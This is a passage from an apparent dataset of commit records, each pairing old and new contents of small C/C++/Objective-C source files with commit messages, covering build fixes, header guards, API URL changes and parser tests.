4068ffdb-0463-0410-8185-8cc71e3bd399\n","lang":"C","license":"bsd-2-clause","repos":"diegows\/wanproxy,splbio\/wanproxy,diegows\/wanproxy,diegows\/wanproxy,splbio\/wanproxy,splbio\/wanproxy"}
{"commit":"d38a75138ffc03fd7a1fff4e00a85229549c1492","old_file":"lib\/libc\/alpha\/gen\/_set_tp.c","new_file":"lib\/libc\/alpha\/gen\/_set_tp.c","old_contents":"\/*-\n * Copyright (c) 2004 Doug Rabson\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in the\n *    documentation and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE\n * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS\n * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY\n * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n *\n *\t$FreeBSD$\n *\/\n\n#include <stdint.h>\n#include <machine\/alpha_cpu.h>\n\nvoid\n_set_tp(void *tp)\n{\n\n    alpha_pal_wrunique((uintptr_t) tp);\n}\n","new_contents":"\/*-\n * Copyright (c) 2004 Doug Rabson\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in the\n *    documentation and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE\n * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS\n * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY\n * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n *\n *\t$FreeBSD$\n *\/\n\n#include <sys\/cdefs.h>\n__FBSDID(\"$FreeBSD$\");\n\n#include <sys\/types.h>\n#include <machine\/alpha_cpu.h>\n\nvoid\n_set_tp(void *tp)\n{\n\n    alpha_pal_wrunique((uintptr_t) tp);\n}\n","subject":"Fix alpha build and add __FBSDID.","message":"Fix alpha build and add __FBSDID.\n\nPR: 70518\n","lang":"C","license":"bsd-3-clause","repos":"jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase"}
{"commit":"307f1a7087c28f139693feb9f0a773c5e4f0ec33","old_file":"SSPSolution\/SSPSolution\/GameState.h","new_file":"SSPSolution\/SSPSolution\/GameState.h","old_contents":"#ifndef SSPAPPLICATION_GAMESTATES_GAMESTATE_H\n#define SSPAPPLICATION_GAMESTATES_GAMESTATE_H\n#include \"InputHandler.h\"\n#include \"ComponentHandler.h\"\n#include \"..\/GraphicsDLL\/Camera.h\"\n#include \"..\/NetworkDLL\/NetworkModule.h\"\n\n\n\/\/class NetworkModule;\nclass GameStateHandler;\nclass GameState\n{\nprivate:\t\/\/Variables\nprotected:\n\tGameStateHandler* m_gsh;\n\tComponentHandler* m_cHandler;\n\tCamera* m_cameraRef;\n\n\t\/\/static NetworkModule* m_networkModule;\n\tchar* m_ip = \"192.168.1.25\";\t\/\/Tobias NUC Specific local ip\n\n\tint InitializeBase(GameStateHandler* gsh, ComponentHandler* cHandler, Camera* cameraRef);\npublic:\n\tGameState();\n\tvirtual ~GameState();\n\n\tvirtual int ShutDown() = 0;\n\t\/\/Returns 1 for success and 0 for failure\n\tvirtual int Initialize(GameStateHandler* gsh, ComponentHandler* cHandler, Camera* cameraRef) = 0;\n\n\tvirtual int Update(float dt, InputHandler * inputHandler) = 0;\nprivate:\t\/\/Helper functions\n};\n\n#endif","new_contents":"#ifndef SSPAPPLICATION_GAMESTATES_GAMESTATE_H\n#define SSPAPPLICATION_GAMESTATES_GAMESTATE_H\n#include \"InputHandler.h\"\n#include \"ComponentHandler.h\"\n#include \"..\/GraphicsDLL\/Camera.h\"\n\/\/#include \"..\/NetworkDLL\/NetworkModule.h\"\n\n\n\/\/class NetworkModule;\nclass GameStateHandler;\nclass GameState\n{\nprivate:\t\/\/Variables\nprotected:\n\tGameStateHandler* m_gsh;\n\tComponentHandler* m_cHandler;\n\tCamera* m_cameraRef;\n\n\t\/\/static NetworkModule* m_networkModule;\n\tchar* m_ip = \"192.168.1.25\";\t\/\/Tobias NUC Specific local ip\n\n\tint InitializeBase(GameStateHandler* gsh, ComponentHandler* cHandler, Camera* cameraRef);\npublic:\n\tGameState();\n\tvirtual ~GameState();\n\n\tvirtual int ShutDown() = 0;\n\t\/\/Returns 1 for success and 0 for failure\n\tvirtual int Initialize(GameStateHandler* gsh, ComponentHandler* cHandler, Camera* cameraRef) = 0;\n\n\tvirtual int Update(float dt, InputHandler * inputHandler) = 0;\nprivate:\t\/\/Helper functions\n};\n\n#endif","subject":"UPDATE doubble checked for Fransisco","message":"UPDATE doubble checked for Fransisco\n","lang":"C","license":"apache-2.0","repos":"Chringo\/SSP,Chringo\/SSP"}
{"commit":"233f4d4e5bc298dbb9acf5bde745cd8504ce3f07","old_file":"stratego-libraries\/lib\/native\/stratego-lib\/collection-list-common.c","new_file":"stratego-libraries\/lib\/native\/stratego-lib\/collection-list-common.c","old_contents":"#include <srts\/stratego.h>\n#include \"stratego-lib-common.h\"\n\nATerm SSL_get_list_length(ATerm term)\n{\n  ATermList list = NULL;\n  ATerm result = NULL;\n\n  if(!ATisList(term)) {\n    _fail(term);\n  }\n\n  list = (ATermList) term;\n  result = (ATerm) ATmakeInt(ATgetLength(term));\n  return result;\n}\n","new_contents":"#include <srts\/stratego.h>\n#include \"stratego-lib-common.h\"\n\nATerm SSL_get_list_length(ATerm term)\n{\n  ATermList list = NULL;\n  ATerm result = NULL;\n\n  if(!ATisList(term)) {\n    _fail(term);\n  }\n\n  list = (ATermList) term;\n  result = (ATerm) ATmakeInt(ATgetLength(list));\n  return result;\n}\n","subject":"Fix in native implementation of length strategy: ATgetLength should be applied to an ATermList.","message":"Fix in native implementation of length strategy: ATgetLength should be\napplied to an ATermList.\n\n\nsvn path=\/strategoxt\/trunk\/; revision=16203\n","lang":"C","license":"apache-2.0","repos":"Apanatshka\/strategoxt,lichtemo\/strategoxt,lichtemo\/strategoxt,lichtemo\/strategoxt,Apanatshka\/strategoxt,metaborg\/strategoxt,lichtemo\/strategoxt,metaborg\/strategoxt,metaborg\/strategoxt,metaborg\/strategoxt,Apanatshka\/strategoxt,Apanatshka\/strategoxt,Apanatshka\/strategoxt,metaborg\/strategoxt,lichtemo\/strategoxt"}
{"commit":"91b3d8878edeba4c7d1d1ba0c75e171bb38e46d4","old_file":"arch\/powerpc\/powerpc\/db_interface.c","new_file":"arch\/powerpc\/powerpc\/db_interface.c","old_contents":"\/*\t$OpenBSD: db_interface.c,v 1.2 1996\/12\/28 06:21:50 rahnds Exp $\t*\/\n\n#include <sys\/param.h>\n#include <sys\/proc.h>\n\n#include <machine\/db_machdep.h>\nvoid\nDebugger()\n{\n\tdb_trap(T_BREAKPOINT);\n\/*\n\t__asm volatile (\"tw 4,2,2\");\n*\/\n}\n","new_contents":"\/*\t$OpenBSD: db_interface.c,v 1.3 1999\/07\/05 20:23:08 rahnds Exp $\t*\/\n\n#include <sys\/param.h>\n#include <sys\/proc.h>\n\n#include <machine\/db_machdep.h>\nvoid\nDebugger()\n{\n\/*\n\tdb_trap(T_BREAKPOINT);\n*\/\n\t__asm volatile (\"tw 4,2,2\");\n}\n","subject":"Use a breakpoint to cause an exception to cause the registers to be saved for debugging purposes.","message":"Use a breakpoint to cause an exception to cause the registers to be\nsaved for debugging purposes.\n","lang":"C","license":"isc","repos":"orumin\/openbsd-efivars,orumin\/openbsd-efivars,orumin\/openbsd-efivars,orumin\/openbsd-efivars"}
{"commit":"e5a8e3198f1990871e65d354b1cc53ed234f75d6","old_file":"src\/navigationwidget.h","new_file":"src\/navigationwidget.h","old_contents":"#ifndef NAVIGATIONWIDGET_H\n#define NAVIGATIONWIDGET_H\n\n#include <QWidget>\n#include <QLabel>\n#include \"qnavigation_global.h\"\n\nclass QLabel;\nclass QPushButton;\n\nnamespace QNavigation\n{\n\nclass SlidingStackedWidget;\nclass NavigationWidgetPrivate;\n\nclass NavigationWidget : public QWidget\n{\n    Q_OBJECT\n    Q_DECLARE_PRIVATE(NavigationWidget)\n    NavigationWidgetPrivate * const d_ptr;\n\n    Q_PRIVATE_SLOT(d_func(), void cleanup())\n\npublic:\n    explicit NavigationWidget(QWidget *parent = 0);\n    virtual ~NavigationWidget();\n\n    bool level() const;\n    QLabel *titleLabel() const;\n    QPushButton *backButton() const;\n    SlidingStackedWidget *stackedWidget() const;\n\n    bool navigationBarHidden() const;\n    void setNavigationBarHidden(bool hidden);\n\npublic slots:\n    void push(QWidget *item);\n    void pop();\n    void popToTop();\n};\n\n}   \/\/ namespace QNavigation\n\n#endif \/\/ NAVIGATIONWIDGET_H\n","new_contents":"#ifndef QNAVIGATION_NAVIGATIONWIDGET_H\n#define QNAVIGATION_NAVIGATIONWIDGET_H\n\n#include <QWidget>\n#include <QLabel>\n#include \"qnavigation_global.h\"\n\nclass QLabel;\nclass QPushButton;\n\nnamespace QNavigation\n{\n\nclass SlidingStackedWidget;\nclass NavigationWidgetPrivate;\n\nclass NavigationWidget : public QWidget\n{\n    Q_OBJECT\n    Q_DECLARE_PRIVATE(NavigationWidget)\n    NavigationWidgetPrivate * const d_ptr;\n\n    Q_PRIVATE_SLOT(d_func(), void cleanup())\n\npublic:\n    explicit NavigationWidget(QWidget *parent = 0);\n    virtual ~NavigationWidget();\n\n    bool level() const;\n    QLabel *titleLabel() const;\n    QPushButton *backButton() const;\n    SlidingStackedWidget *stackedWidget() const;\n\n    bool navigationBarHidden() const;\n    void setNavigationBarHidden(bool hidden);\n\npublic slots:\n    void push(QWidget *item);\n    void pop();\n    void popToTop();\n};\n\n}   \/\/ namespace QNavigation\n\n#endif \/\/ QNAVIGATION_NAVIGATIONWIDGET_H\n","subject":"Fix inclusion guard for NavigationWidget","message":"Fix inclusion guard for NavigationWidget\n","lang":"C","license":"bsd-3-clause","repos":"bimetek\/qnavigation,bimetek\/qnavigation"}
{"commit":"6ce02abccdb68b9a19b45df7ce91a879980fecb3","old_file":"src\/ios\/RTCEAGLVideoView.h","new_file":"src\/ios\/RTCEAGLVideoView.h","old_contents":"","new_contents":"\/*\n * libjingle\n * Copyright 2014, Google Inc.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n *\n *  1. Redistributions of source code must retain the above copyright notice,\n *     this list of conditions and the following disclaimer.\n *  2. Redistributions in binary form must reproduce the above copyright notice,\n *     this list of conditions and the following disclaimer in the documentation\n *     and\/or other materials provided with the distribution.\n *  3. The name of the author may not be used to endorse or promote products\n *     derived from this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR IMPLIED\n * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF\n * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO\n * EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;\n * OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,\n * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR\n * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF\n * ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#import <Foundation\/Foundation.h>\n#import <UIKit\/UIKit.h>\n\n#import \"RTCVideoRenderer.h\"\n\n@class RTCEAGLVideoView;\n@protocol RTCEAGLVideoViewDelegate\n\n- (void)videoView:(RTCEAGLVideoView*)videoView didChangeVideoSize:(CGSize)size;\n\n@end\n\n@class RTCVideoTrack;\n\/\/ RTCEAGLVideoView renders |videoTrack| onto itself using OpenGLES.\n@interface RTCEAGLVideoView : UIView\n\n@property(nonatomic, strong) RTCVideoTrack* videoTrack;\n@property(nonatomic, weak) id<RTCEAGLVideoViewDelegate> delegate;\n\n@end\n","subject":"Add missing WebRTC header file","message":"Add missing WebRTC header file\n","lang":"C","license":"apache-2.0","repos":"rogervaas\/phonertc,alongubkin\/phonertc,erhuabushuo\/phonertc,IgorButirsky\/rtc,yogomi\/phonertc,MadBelette\/phonertc,ravisr\/phonertc,eug17\/phonertc,hcxiong\/phonertc,MadBelette\/phonertc,kennu\/phonertc,yogomi\/phonertc,eug17\/phonertc,Ycfx\/phonertc,egorvinogradov\/phonertc,BetterVoice\/phonertc,MadBelette\/phonertc,alongubkin\/phonertc,moukail\/phonertc,Ycfx\/phonertc,De-Lac\/phonertc,BetterVoice\/phonertc,ravisr\/phonertc,ravisr\/phonertc,MartySchmidt\/phonertc,noprotocol\/phonertc,cesterlizi\/phonertc,MadBelette\/phonertc,kennu\/phonertc,cesterlizi\/phonertc,De-Lac\/phonertc,egorvinogradov\/phonertc,alongubkin\/phonertc,Ycfx\/phonertc,eug17\/phonertc,MadBelette\/phonertc,egorvinogradov\/phonertc,IgorButirsky\/rtc,moukail\/phonertc,kennu\/phonertc,hcxiong\/phonertc,BetterVoice\/phonertc,moukail\/phonertc,alongubkin\/phonertc,hcxiong\/phonertc,hcxiong\/phonertc,De-Lac\/phonertc,moukail\/phonertc,MartySchmidt\/phonertc,erhuabushuo\/phonertc,yogomi\/phonertc,cesterlizi\/phonertc,cesterlizi\/phonertc,kennu\/phonertc,Ycfx\/phonertc,rogervaas\/phonertc,yogomi\/phonertc,Ycfx\/phonertc,moukail\/phonertc,MartySchmidt\/phonertc,erhuabushuo\/phonertc,De-Lac\/phonertc,egorvinogradov\/phonertc,kennu\/phonertc,rogervaas\/phonertc,noprotocol\/phonertc,eug17\/phonertc,rogervaas\/phonertc,eug17\/phonertc,erhuabushuo\/phonertc,hcxiong\/phonertc,MartySchmidt\/phonertc,rogervaas\/phonertc,yogomi\/phonertc,ravisr\/phonertc,erhuabushuo\/phonertc,egorvinogradov\/phonertc,noprotocol\/phonertc,noprotocol\/phonertc"}
{"commit":"2c3316530d25d46038526902079fde1c3c643516","old_file":"Classes\/Instapaper\/InstapaperAPI.h","new_file":"Classes\/Instapaper\/InstapaperAPI.h","old_contents":"\/\/\n\/\/  InstapaperAPI.h\n\/\/  newsyc\n\/\/\n\/\/  Created by Grant Paul on 3\/10\/11.\n\/\/  Copyright 2011 Xuzz Productions, LLC. All rights reserved.\n\/\/\n\n#import <HNKit\/NSString+URLEncoding.h>\n\n#define kInstapaperAPIRootURL [NSURL URLWithString:@\"https:\/\/instapaper.com\/api\/\"]\n#define kInstapaperAPIAuthenticationURL [NSURL URLWithString:[[kInstapaperAPIRootURL absoluteString] stringByAppendingString:@\"authenticate\"]]\n#define kInstapaperAPIAddItemURL [NSURL URLWithString:[[kInstapaperAPIRootURL absoluteString] stringByAppendingString:@\"add\"]]\n","new_contents":"\/\/\n\/\/  InstapaperAPI.h\n\/\/  newsyc\n\/\/\n\/\/  Created by Grant Paul on 3\/10\/11.\n\/\/  Copyright 2011 Xuzz Productions, LLC. All rights reserved.\n\/\/\n\n#import <HNKit\/NSString+URLEncoding.h>\n\n#define kInstapaperAPIRootURL [NSURL URLWithString:@\"https:\/\/www.instapaper.com\/api\/\"]\n#define kInstapaperAPIAuthenticationURL [NSURL URLWithString:[[kInstapaperAPIRootURL absoluteString] stringByAppendingString:@\"authenticate\"]]\n#define kInstapaperAPIAddItemURL [NSURL URLWithString:[[kInstapaperAPIRootURL absoluteString] stringByAppendingString:@\"add\"]]\n","subject":"Fix Instapaper Root API issue","message":"Fix Instapaper Root API issue\n\nFixed issue that was causing login request to return a 403.","lang":"C","license":"bsd-3-clause","repos":"ukkari\/newsyc,tangqiaoboy\/newsyc,ukkari\/newsyc"}
{"commit":"c2ed6a161b3242ff1f1222134fae6621e813362c","old_file":"src\/cons.h","new_file":"src\/cons.h","old_contents":"#ifndef MCLISP_CONS_H_\n#define MCLISP_CONS_H_\n\nnamespace mclisp\n{\n\nclass ConsCell\n{\npublic:\n    ConsCell(): car_(nullptr), cdr_(nullptr) {}\n    ConsCell(ConsCell* car, ConsCell* cdr): car_(car), cdr_(cdr) {}\n\nprivate:\n    ConsCell* car_;\n    ConsCell* cdr_;\n};\n\n} \/\/ namespace mclisp\n\n#endif \/\/ MCLISP_CONS_H_\n","new_contents":"#ifndef MCLISP_CONS_H_\n#define MCLISP_CONS_H_\n\nnamespace mclisp\n{\n\nclass ConsCell\n{\npublic:\n    ConsCell(): car_(nullptr), cdr_(nullptr) {}\n    ConsCell(ConsCell* car, ConsCell* cdr): car_(car), cdr_(cdr) {}\n\n    ConsCell* car_;\n    ConsCell* cdr_;\n};\n\n} \/\/ namespace mclisp\n\n#endif \/\/ MCLISP_CONS_H_\n","subject":"Make Cons::car_ and Cons::cdr_ public members.","message":"Make Cons::car_ and Cons::cdr_ public members.\n","lang":"C","license":"mit","repos":"appleby\/mccarthy-lisp,appleby\/mccarthy-lisp,appleby\/mccarthy-lisp,appleby\/mccarthy-lisp,appleby\/mccarthy-lisp"}
{"commit":"52ebde7b95206e2fd04f302595fc5fbfa17c4fce","old_file":"memory\/local_memory.h","new_file":"memory\/local_memory.h","old_contents":"","new_contents":"\/*\n * Lift\n *\n * Copyright (c) 2014-2015, NVIDIA CORPORATION\n * Copyright (c) 2015, Nuno Subtil <subtil@gmail.com>\n * Copyright (c) 2015, Roche Molecular Systems Inc.\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n *    * Redistributions of source code must retain the above copyright\n *      notice, this list of conditions and the following disclaimer.\n *    * Redistributions in binary form must reproduce the above copyright\n *      notice, this list of conditions and the following disclaimer in the\n *      documentation and\/or other materials provided with the distribution.\n *    * Neither the name of the copyright holders nor the names of its\n *      contributors may be used to endorse or promote products derived from\n *      this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS OR CONTRIBUTORS BE LIABLE\n * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\n * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#pragma once\n\nnamespace lift {\n\n#include \"..\/types.h\"\n#include \"..\/backends.h\"\n#include \"..\/decorators.h\"\n\n\/\/ a statically-sized local memory vector\ntemplate <typename T, uint32 max_storage_size>\nstruct local_memory\n{\n    typedef T        value_type;\n    typedef T&       reference;\n    typedef const T& const_reference;\n    typedef T*       pointer;\n    typedef const T* const_pointer;\n    typedef uint32   index_type;\n    typedef uint32   size_type;\n\n    value_type storage[max_storage_size];\n    size_type storage_size = max_storage_size;\n\n    LIFT_HOST_DEVICE local_memory() = default;\n\n    LIFT_HOST_DEVICE void resize(size_type count)\n    {\n        storage_size = count;\n    }\n\n    LIFT_HOST_DEVICE size_type size(void) const\n    {\n        return storage_size;\n    }\n\n    LIFT_HOST_DEVICE pointer data(void)\n    {\n        return storage;\n    }\n\n    LIFT_HOST_DEVICE const_pointer data(void) const\n    {\n        return storage;\n    }\n\n    LIFT_HOST_DEVICE reference operator[] (const size_type index)\n    {\n        return storage[index];\n    }\n\n    LIFT_HOST_DEVICE const_reference operator[] (const size_type index) const\n    {\n        return storage[index];\n    }\n};\n\n} \/\/ namespace lift\n","subject":"Add a local memory vector implementation","message":"memory: Add a local memory vector implementation\n\nAdds a statically allocated memory container. This is meant for accessing local\nmemory on the GPU, but can use stack memory on the CPU.\n","lang":"C","license":"bsd-3-clause","repos":"nsubtil\/lift,chuckseberino\/lift,chuckseberino\/lift,nsubtil\/lift,chuckseberino\/lift,nsubtil\/lift"}
{"commit":"be81aa72665eaa6f2e4c84bbb7eab165dd918ad8","old_file":"src\/os\/emscripten\/preamble.c","new_file":"src\/os\/emscripten\/preamble.c","old_contents":"#include \"emscripten.h\"\n#include <stdlib.h>\n#include <unistd.h>\n#include \"param.h\"\n\nint os_preamble()\n{\n    if (access(\"\/dev\/zero\", R_OK))\n        EM_ASM(({ FS.createDevice('\/dev', 'zero', function () { return 0; }); }),\/* dummy arg *\/0);\n\n    EM_ASM_(({\n        if (ENVIRONMENT_IS_NODE) {\n            var mnt = Pointer_stringify($0);\n            FS.mkdir(mnt);\n            FS.mount(NODEFS, { root: '\/' }, mnt);\n            FS.chdir(mnt + process.cwd());\n        }\n    }), MOUNT_POINT);\n\n    return 0;\n}\n\n","new_contents":"#include \"emscripten.h\"\n#include <stdlib.h>\n#include <unistd.h>\n#include \"param.h\"\n\nint os_preamble()\n{\n    if (access(\"\/dev\/zero\", R_OK))\n        EM_ASM(({ FS.createDevice('\/dev', 'zero', function () { return 0; }); }),\/* dummy arg *\/0);\n\n    EM_ASM_(({\n        if (ENVIRONMENT_IS_NODE) {\n            var len = 1024; \/* arbitrary *\/\n            var mnt = UTF8ToString($0, len);\n            FS.mkdir(mnt);\n            FS.mount(NODEFS, { root: '\/' }, mnt);\n            FS.chdir(mnt + process.cwd());\n        }\n    }), MOUNT_POINT);\n\n    return 0;\n}\n\n","subject":"Replace removed Pointer_stringify with UTF8ToString","message":"Replace removed Pointer_stringify with UTF8ToString\n","lang":"C","license":"mit","repos":"kulp\/tenyr,kulp\/tenyr,kulp\/tenyr"}
{"commit":"3d895b974d01f2c562a869921274f1198e29ff87","old_file":"test\/FrontendC\/2010-06-24-DbgInlinedFnParameter.c","new_file":"test\/FrontendC\/2010-06-24-DbgInlinedFnParameter.c","old_contents":"\/\/ RUN: %llvmgcc -S -O2 -g %s -o - | llc -O2 -o %t.s\n\/\/ RUN: grep  \"# DW_TAG_formal_parameter\" %t.s | count 4\n\/\/ Radar 8122864\n\/\/ XFAIL: powerpc\nstatic int foo(int a, int j) {\n  int k = 0;\n  if (a)\n    k = a + j;\n  else\n    k = j;\n  return k;\n}\nint bar(int o, int p) {\n\n  return foo(o, p);\n}\n","new_contents":"\/\/ RUN: %llvmgcc -S -O2 -g %s -o - | llc -O2 -o %t.s\n\/\/ RUN: grep  \"# DW_TAG_formal_parameter\" %t.s | count 4\n\/\/ Radar 8122864\n\/\/ XTARGET: x86,darwin\nstatic int foo(int a, int j) {\n  int k = 0;\n  if (a)\n    k = a + j;\n  else\n    k = j;\n  return k;\n}\nint bar(int o, int p) {\n\n  return foo(o, p);\n}\n","subject":"Make this test darwin specific.","message":"Make this test darwin specific.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@107025 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"GPUOpen-Drivers\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,dslab-epfl\/asap,apple\/swift-llvm,apple\/swift-llvm,chubbymaggie\/asap,apple\/swift-llvm,dslab-epfl\/asap,llvm-mirror\/llvm,apple\/swift-llvm,apple\/swift-llvm,chubbymaggie\/asap,llvm-mirror\/llvm,chubbymaggie\/asap,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,chubbymaggie\/asap,dslab-epfl\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm"}
{"commit":"23b1acc06565d92692ce2e56ed7ede7b45c1e3a1","old_file":"iobuf\/obuf_copyfromfd.c","new_file":"iobuf\/obuf_copyfromfd.c","old_contents":"#include <unistd.h>\n#include \"iobuf.h\"\n\n\/** Copy all the data from an \\c ibuf to an \\c obuf. *\/\nint obuf_copyfromfd(int in, obuf* out)\n{\n  long rd;\n  if (obuf_error(out)) return 0;\n  out->count = 0;\n  for (;;) {\n    if ((rd = read(in,\n\t\t   out->io.buffer + out->bufpos,\n\t\t   out->io.bufsize - out->bufpos)) == -1)\n      return 0;\n    if (rd == 0)\n      break;\n    out->count += rd;\n    if (!obuf_flush(out))\n      return 0;\n  }\n  return 1;\n}\n","new_contents":"#include <unistd.h>\n#include \"iobuf.h\"\n\n\/** Copy all the data from an \\c ibuf to an \\c obuf. *\/\nint obuf_copyfromfd(int in, obuf* out)\n{\n  long rd;\n  if (obuf_error(out)) return 0;\n  out->count = 0;\n  for (;;) {\n    if ((rd = read(in,\n\t\t   out->io.buffer + out->bufpos,\n\t\t   out->io.bufsize - out->bufpos)) == -1)\n      return 0;\n    if (rd == 0)\n      break;\n    out->bufpos += rd;\n    if (out->io.buflen < out->bufpos)\n      out->io.buflen = out->bufpos;\n    if (!obuf_flush(out))\n      return 0;\n    out->count += rd;\n  }\n  return 1;\n}\n","subject":"Mark the copied-in data as being present before flushing the buffer. Without this patch, no data is ever written.","message":"Mark the copied-in data as being present before flushing the buffer.\nWithout this patch, no data is ever written.\n\n","lang":"C","license":"lgpl-2.1","repos":"bruceg\/bglibs,bruceg\/bglibs,bruceg\/bglibs,bruceg\/bglibs,bruceg\/bglibs,bruceg\/bglibs"}
{"commit":"0cbe606c96c439637b2468663f1b74891c917ee3","old_file":"test\/test_parser_and.c","new_file":"test\/test_parser_and.c","old_contents":"#include \"test_parser.h\"\n\nvoid and_false(void **state) {\n  grammar_t *grammar = grammar_init(\n    non_terminal(\"And\"),\n    rule_init(\n      \"And\",\n      sequence(\n        and(terminal(\"hello\")),\n        terminal(\"h\")\n      )\n    ), 1\n  );\n\n  parse_t *result = parse(\"help\", grammar);\n  assert_null(result);\n}\n\nvoid and_true(void **state) {\n  grammar_t *grammar = grammar_init(\n    non_terminal(\"And\"),\n    rule_init(\n      \"And\",\n      sequence(\n        and(terminal(\"hello\")),\n        terminal(\"h\")\n      )\n    ), 1\n  );\n\n  parse_t *result = parse(\"hello\", grammar);\n  assert_non_null(result);\n  assert_int_equal(result->length, 1);\n  assert_int_equal(result->n_children, 1);\n\n  assert_int_equal(result->children[0].length, 1);\n  assert_int_equal(result->children[0].n_children, 0);\n}\n","new_contents":"#include \"test_parser.h\"\n\nvoid and_false(void **state) {\n  grammar_t *grammar = grammar_init(\n    non_terminal(\"And\"),\n    rule_init(\n      \"And\",\n      sequence(\n        and(terminal(\"hello\")),\n        terminal(\"h\")\n      )\n    ), 1\n  );\n\n  parse_result_t *result = parse(\"help\", grammar);\n  assert_non_null(result);\n  